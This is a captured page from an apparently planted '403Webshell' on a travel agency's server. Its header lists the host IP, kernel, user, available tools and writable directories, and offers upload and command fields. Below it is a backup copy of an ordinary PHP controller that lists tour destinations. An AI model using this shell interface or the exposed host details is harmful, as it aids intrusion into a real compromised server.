403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/indoasiaholidays.com/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/indoasiaholidays.com/application/controllers/IndexController(27_06_2019).php
<?php
/***************************************************************
* Catabatic Technology Pvt. Ltd.
* File Name     : IndexController.php
* File Desc.    : Index controller for home page front end
* Created By    : Ranvir Singh <ranvir@catpl.co.in>
* Created Date  : 25 May 2017
* Updated Date  : 14 Dec 2017
***************************************************************/

class IndexController extends Catabatic_CheckSession
{

    protected $objMdl;
    protected $tablename;
    protected $tablenameDestination;
    protected $baseUrl;
    protected $tollfreenumber;

    protected $objHelperGeneral;
    protected $per_page_record;
    
    public $_session;
    public $customerbookinglistAPIUrl;

    public $uploadPakcagePath;
    public $uploadDestinationPath;
    public $dummyImagePackage;
    public $dummyImageDestination;

    public $myNamespace;
    

    public function init() {
        parent::init();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $BootStrap  = $aConfig['bootstrap'];
        
        $this->siteName = $BootStrap['siteName'];
        $this->baseUrl  = $BootStrap['siteUrl'];
        $this->tollfreenumber  = $BootStrap['tollfreenumber'];
        
        $this->objMdl   = new Admin_Model_CRUD();
        
        $this->tablename    = "tb_tbb2c_packages_master";
        $this->tablenameTes = "tbl_testimonials";
        $this->tablenameDestination = "tb_tbb2c_destinations";
        $this->hotelTypeArr = ['Standard','Deluxe','Luxury'];
        
        $this->objHelperGeneral = $this->_helper->General;
        $this->per_page_record = 10;
        $this->_session = new Zend_Session_Namespace('Users');
        
        $this->uploadPakcagePath = 'public/upload/tours/';
        $this->uploadDestinationPath = 'public/upload/destinations/';

        $this->dummyImagePackage = 'default-tour.jpg';
        $this->dummyImageDestination = 'default-destination.jpg';
          
        $this->enableCache = $BootStrap['enableCache'];
        $this->packageTypeStatic = $BootStrap['packageTypeDynamic'];

        
        $this->customerbookinglistAPIUrl = API_CUSTOMER_LIST; // from constant file
        
        $this->myNamespace = new Zend_Session_Namespace('MypopSess'); // get user end infomations
         $this->_helper->layout->disableLayout();
        $this->_helper->_layout->setLayout('layout')->setLayoutPath(APPLICATION_PATH.'/layouts/scripts');
    }

    
    public function indexAction()
    {

        $destinations = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries'], ['IsActive'=>1,'IsFeatured'=>1,'IsPublish'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>''] );
        $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
        $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
    
        
        //$countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
        $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['rand()'=>'']  );
            
        $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
    
        $destinationsArr = array();
        $DestinationsArrFinal = array();
        $stateArrDom = array();
        $stateArrInt = array();
        $countryArrDom = array();
        $countryArrInt = array();

        foreach ($destinations as $desKey=>$desValue) {
            $destinationsArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                'Label' => $desValue['Title'],
                'startingPrice' => $desValue['Activities'],
                'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/images/home/'.$desValue['Image'],
                'DestDescription' => $desValue['DestDescription'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
            ];
            }
            foreach ($stateDom as $stateKey1=>$stateValue1) {
            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'Image' => 'public/upload/state/main/home/'.$image,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['image'])?$countryDomValue1['image']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/main/home/'.$image,
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
          
            $DestinationsArrFinal = (array_merge($destinationsArr,$stateArrDom,$countryArrDom)); 
             foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Label']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
            //asort($DestinationsArrFinal);
        
        $destinationsInter= $this->objMdl->getInternationalDestination( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries'], 12 );
        $destinationsInterArr = array();
        foreach ($destinationsInter as $intdesKey=>$intdesValue) {
            $destinationsInterArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Title'])),
                'Label' => $intdesValue['Title'],
                'startingPrice' => $intdesValue['Activities'],
                'Image' => 'public/upload/destinations/'.$intdesValue['DesSysId'].'/images/home/'.$intdesValue['Image'],
                'DestDescription' => $intdesValue['DestDescription'],
                'CountryIds' => $intdesValue['CountryIds'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Countries'])),
            ];
            }
            
            foreach ($stateInt as $stateKey2=>$stateValue2) {
            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
            $stateArrInt[] = [
               'Title' => $stateValue2['seotitle'],
               'Label' => $stateValue2['title'],
               'startingPrice' => isset($stateValue2['startingPrice']) ?$stateValue2['startingPrice'] : '',
               'Image' => 'public/upload/state/main/home/'.$image,
               'DestDescription' => $stateValue2['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue2['Countries'])),  
            ];
            }
            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['image'])?$countryIntValue1['image']:'0';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/main/home/'.$image,
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($destinationsInterArr,$stateArrInt,$countryArrInt)); 
            
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            }
           // asort($destinationsInterArrFinal);
    
       
        $this->view->destinationsInter = $destinationsInterArrFinal;
        $this->view->baseUrl    = $this->baseUrl;
        $this->view->destinations = $DestinationsArrFinal;
        $this->view->tollfreenumber    = $this->tollfreenumber;
    


        $testimonials  = $this->objMdl->rv_select_all( 'tbl_testimonials' , ['*'] , [ 'status'=>1,'IsFeatured'=>1 ] ,  ['id'=>'ASC'],3);
        //$ourPartners  = $this->objMdl->rv_select_all( 'tbl_ourpartner' , ['*'] , [ 'status'=>1 ] ,  ['id'=>'ASC']);
        $homebannerDetail  = $this->objMdl->rv_select_all( 'tb_homebanner_detail' , ['*'] , [ 'status'=>1 ] ,  ['banner_id'=>'ASC']);


        $this->view->homebannerDetail    = $homebannerDetail;
        //$this->view->ourPartners    = $ourPartners;
        $this->view->testimonials    = $testimonials;
        $this->view->baseUrl    = $this->baseUrl;
       
        
        $this->view->MobileDetect = $this->objHelperGeneral->getDevice();
}


    public function saveLetterAction()
    {
         $param = $this->getRequest()->getParams();
         $date = new Zend_Date();
        $currentDate = $date->get('YYYY-MM-dd HH:mm:ss');
         $email = $param['email'];

        $newsletter = new Travel_Model_PackagesMaster();

       $savePageData = [

         'created_date' => $currentDate,
         'news_letter_email' => $email,
     ];

       $resultset  = $newsletter->checkLetter("tb_tbb2c_newsletter", ['*'], ['news_letter_email'=>$savePageData['news_letter_email']]);

        if(isset($resultset) && !empty($resultset)){
            $response = array('success' => false, 'msg' => 'This Email Id Already Exists!!!' );
            echo json_encode($response);
            exit;
        }
        else{
            $returnId = $newsletter->sendNewsLetter('tb_tbb2c_newsletter', $savePageData);
            if($returnId){
                $response = array('success' => true, 'msg' => 'Your query has been submitted successfully!' );
                echo json_encode($response);
                exit;
            }
        }

     }

     
    public function autosuggestdesAction()
    {
        try {
            $arrResponse = array();
            if ($this->getRequest()->getParam("term")) {
                $term = $this->getRequest()->getParam("term");
                $objDes = new Travel_Model_PackagesMaster();
                $arrResponse = $objDes->getDestinationAutoSuggest( $term , $this->tablename );
            }
            //print_r($arrResponse);die('okkk');
            echo json_encode($arrResponse);
            exit;
        } catch (Exception $e) {
            $response = array('success' => false, 'msg' => $e->getMessage());
            echo json_encode($response);
            exit;
        }
    }
    
    
    public function customerloginAction() {
        $request = Zend_Controller_Front::getInstance()->getRequest();
        if ($this->getRequest()->isPost()) {
            $data = $request->getPost();
            $this->_session->session = $data;
            $this->_redirect('users/index/myprofile');
        }
    }
    
    
    public function logoutAction()
    {
        $storage = new Zend_Session_Namespace('User');
        $storage->unsetAll(); 
        $this->_redirect('index');
    }


    /*
     * writeSessionPopup is used to show the request a callback popup window after interval on landing page
     */
    
    public function writeSessionPopupAction() {
        $myNamespace = new Zend_Session_Namespace('MypopSess');
        $myNamespace->setPopup = true;
        $myNamespace->session_time = time();
        exit;
    }
    
    public function displayfooterAction(){
        $finalFooterArray = array();
        $destinationsArrFinal = array();
        $desArr = array(); $socialArr = array(); $ourpartnerArr = array();
        $destinations = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','Countries','CountryIds'], ['IsActive'=>1,'IsPublish'=>1,'IsMarkForDel'=>0,'DisplayOnFooter'=>1], ['rand()'=>'']  );
        $state = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title as Title','seotitle','image','startingPrice','DestDescription','Countries'], ['displayOnFooter'=>1,'IsMarkForDel'=>0], ['rand()'=>'']  );
        
        $country = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title as Title','title as Countries','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnFooter'=>1,'IsMarkForDel'=>0], ['rand()'=>'']  );
        
        $destinationsArrFinal = (array_merge($destinations,$state,$country)); 
            
             
             foreach ($destinationsArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Title']);
            }
            if (count($destinationsArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsArrFinal);
            }
        
//                        echo '<pre>'; print_r(($destinationsArrFinal)); die;
        $social = $this->objMdl->rv_select_all( 'tbl_social_links' , ['id','name','link'], ['status'=>1], ['name'=>'ASC'] , 5 );
        $ourpartner = $this->objMdl->rv_select_all( 'tbl_ourpartner' , ['id','title','icon'], ['status'=>1], ['title'=>'ASC']  );
        $contactquery = $this->objMdl->rv_select_row( 'tbl_query' , ['id','email','phone','location','mobile'], ['status'=>1], ['id'=>'ASC'] , 1 );
        if($destinationsArrFinal){
            foreach ($destinationsArrFinal as $k=>$value) {
                $desArr[$k]['Title'] = $value['Title'];
                $desArr[$k]['destinationUrl'] = strtolower(Catabatic_Helper::getSeoName($value['Title']));
                $desArr[$k]['Countries'] = strtolower(Catabatic_Helper::getSeoName($value['Countries']));
                
            }
        }
        
        
//                echo '<pre>'; print_r(($desArr)); die;
        if($social){
            foreach ($social as $k=>$value) {
                $socialArr[$k]['name'] = $value['name'];
                $socialArr[$k]['link'] = $value['link'];
            }
        }
        if($ourpartner){
            foreach ($ourpartner as $k=>$value) {
                $ourpartnerArr[$k]['title'] = $value['title'];
                $ourpartnerArr[$k]['icon'] = $value['icon'];
            }
        }
        
        $finalFooterArray['footer_destination'] = $desArr;
        $finalFooterArray['social_links'] = $socialArr;
        $finalFooterArray['ourpartner'] = $ourpartnerArr;
        $finalFooterArray['contactquery'] = $contactquery;
        //echo '<pre>'; print_r(($finalFooterArray)); die;
//        $this->view->baseUrl    = $this->baseUrl;
        echo json_encode($finalFooterArray);exit;
    }
    
    public function domesticDestinationAction() {
        $this->objMdl = new Admin_Model_CRUD();
        $DestinationsArrFinal = array();
        $params  = $this->getRequest()->getParams();
            $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC'] );
            $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['Title'=>'ASC'] );
            $destinations = array_merge($destinations1,$destinations2);
            $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
            //$countryDom1 = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
            $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'region_id'=>74,'countryId!'=>101], ['rand()'=>'']  );
            //$countryDom = (array_merge($countryDom1,$countryDom2)); 
             //echo '<pre>'; print_r(($finalFooterArray)); die;
            foreach ($destinations as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
            
             foreach ($stateDom as $stateKey1=>$stateValue1) {
            $image = ($stateValue1['destinationImage'])?$stateValue1['destinationImage']:'0';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'Image' => 'public/upload/state/desimages/'.$image,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage'])?$countryDomValue1['destinationImage']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/desimages/'.$image,
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
            $DestinationsArrFinal = (array_merge($finalDestinationAll,$stateArrDom,$countryArrDom)); 
            foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Title']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
//                   echo "<pre>";print_r($DestinationsArrFinal);die; 
            
//       $regionImage = $this->objMdl->getRegionImage($region);
      
        $getStaticPage = $this->objMdl->rv_select_row('tbl_static_pages' , ['*'], ['sid'=>185,'status'=>'Activate'] , ['sid'=> 'desc'] );
         $packageTheme  = $this->objMdl->rv_select_all( 'tbl_pack_type' , ['packType','Title','Icon','largeIcon','destinationIcon'] , [ 'IsActive'=>1 ] ,  ['packType'=>'ASC']);
//        echo "<pre>";print_r($packageTheme);die;
        $this->view->packageTheme  = $packageTheme;
        $this->view->baseUrl = $this->baseUrl;
        $this->view->finalDestinationAll = $DestinationsArrFinal;
        $this->view->getStaticPage = $getStaticPage;

    }
    
    
    
    public function internationalDestinationAction() {
        
        $this->objMdl = new Admin_Model_CRUD();
        
        $params  = $this->getRequest()->getParams();
            $finalDestinationAll = array();

            $destinationsInter= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'] );
            $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
            $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
            
            
                 foreach ($destinationsInter as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
                
                
//                foreach ($stateInt as $stateKey2=>$stateValue2) {
//            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
//            $stateArrInt[] = [
//               'Title' => $stateValue2['seotitle'],
//               'Label' => $stateValue2['title'],
//               'startingPrice' => isset($stateValue2['startingPrice']) ?$stateValue2['startingPrice'] : '',
//               'Image' => 'public/upload/state/main/large/'.$image,
//               'DestDescription' => $stateValue2['DestDescription'],
//               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue2['Countries'])),  
//            ];
//            }
            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['destinationImage'])?$countryIntValue1['destinationImage']:'0';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/desimages/'.$image,
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($finalDestinationAll,$countryArrInt)); 
            
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            }
 //        echo "<pre>";print_r($packageTheme);die;
        $getStaticPage = $this->objMdl->rv_select_row('tbl_static_pages' , ['*'], ['sid'=>186,'status'=>'Activate'] , ['sid'=> 'desc'] );
        
       $packageTheme  = $this->objMdl->rv_select_all( 'tbl_pack_type' , ['packType','Title','Icon','largeIcon','destinationIcon'] , [ 'IsActive'=>1 ] ,  ['packType'=>'ASC']);
       
        $this->view->packageTheme  = $packageTheme;
        $this->view->baseUrl = $this->baseUrl;
        $this->view->finalDestinationAll = $destinationsInterArrFinal;
        $this->view->getStaticPage = $getStaticPage;
       
    }
    
    
    public function getAllAjaxDestinationAction() {
        $this->_helper->layout()->disableLayout('');
     if ($this->_request->isXmlHttpRequest()) {
           
            //echo "<pre>";print_r($_REQUEST);exit;
            $type = $this->getRequest()->getParam('type');
           if(trim($type) == 'domestic'){
               $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC']  );
               $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['Title'=>'ASC'] );
               $destinations = array_merge($destinations1,$destinations2);
               $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
            //$countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
            $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'region_id'=>74,'countryId!'=>101], ['rand()'=>'']  );
            $checkDestinationDuplicate = array();
            foreach ($destinations as $desKey=>$desValue) {
                  if(!in_array(strtolower(Catabatic_Helper::getSeoName($desValue['Title'])), $checkDestinationDuplicate)){
                       $checkDestinationDuplicate[] = strtolower(Catabatic_Helper::getSeoName($desValue['Title']));
                
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/main/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
            }
             $checkstateDomDuplicate = array();
             foreach ($stateDom as $stateKey1=>$stateValue1) {
                   if(!in_array($stateValue1['seotitle'], $checkDestinationDuplicate)){
                       $checkDestinationDuplicate[] = $stateValue1['seotitle'];
            $image = ($stateValue1['destinationImage'])?$stateValue1['destinationImage']:'0';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'Image' => 'public/upload/state/desimages/main/'.$image,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
             }
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage'])?$countryDomValue1['destinationImage']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/desimages/main/'.$image,
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
            $DestinationsArrFinal = (array_merge($finalDestinationAll,$stateArrDom,$countryArrDom)); 
            foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Title']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
               
            $destinations =  $DestinationsArrFinal;
               
           }else{
               $destinations= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'] );
           $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
            $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
    

                foreach ($destinations as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/main/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
                
                
//                foreach ($stateInt as $stateKey2=>$stateValue2) {
//            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
//            $stateArrInt[] = [
//               'Title' => $stateValue2['seotitle'],
//               'Label' => $stateValue2['title'],
//               'startingPrice' => isset($stateValue2['startingPrice']) ?$stateValue2['startingPrice'] : '',
//               'Image' => 'public/upload/state/main/large/'.$image,
//               'DestDescription' => $stateValue2['DestDescription'],
//               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue2['Countries'])),  
//            ];
//            }
            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['destinationImage'])?$countryIntValue1['destinationImage']:'0';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/desimages/main/'.$image,
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($finalDestinationAll,$countryArrInt)); 
            
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            } 
            $destinations = $destinationsInterArrFinal;
               
           }
//           echo "<pre>";print_r($destinationsInterArrFinal);die;
          $this->view->finalDestinationAll = $destinations;
           
        }
        
        
    }
    
    public function checkUrlAction() {
        
        if ($this->getRequest()->isGet()) {
            $this->_helper->layout()->disableLayout();
            $param = $this->getRequest()->getParams();
            
            $model = new Admin_Model_CRUD();
            $result = $model->rv_select_row($this->tablename, ['packageNameUrl','Destinations','CountryIds','Countries'], [ 'IsMarkForDel' => 0, 'IsActive' => 1, 'IsPublish' => 1, 'GTXPkgId' => $param['packageId']], ['PkgSysId' => 'DESC']);
            $packageNameUrl = $result['packageNameUrl'].'.html';
            $Destinations = explode(',', $result['Destinations']);
            $FinalDestinations = Catabatic_Helper::getSeoName($Destinations[0]);
            $Countries = Catabatic_Helper::getSeoName($result['Countries']);
            
            $redirectUrl = $this->baseUrl.'holidays/'.$Countries.'/'.$FinalDestinations.'-tour-packages/'.$packageNameUrl;
            $this->_redirect($redirectUrl);
        }
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit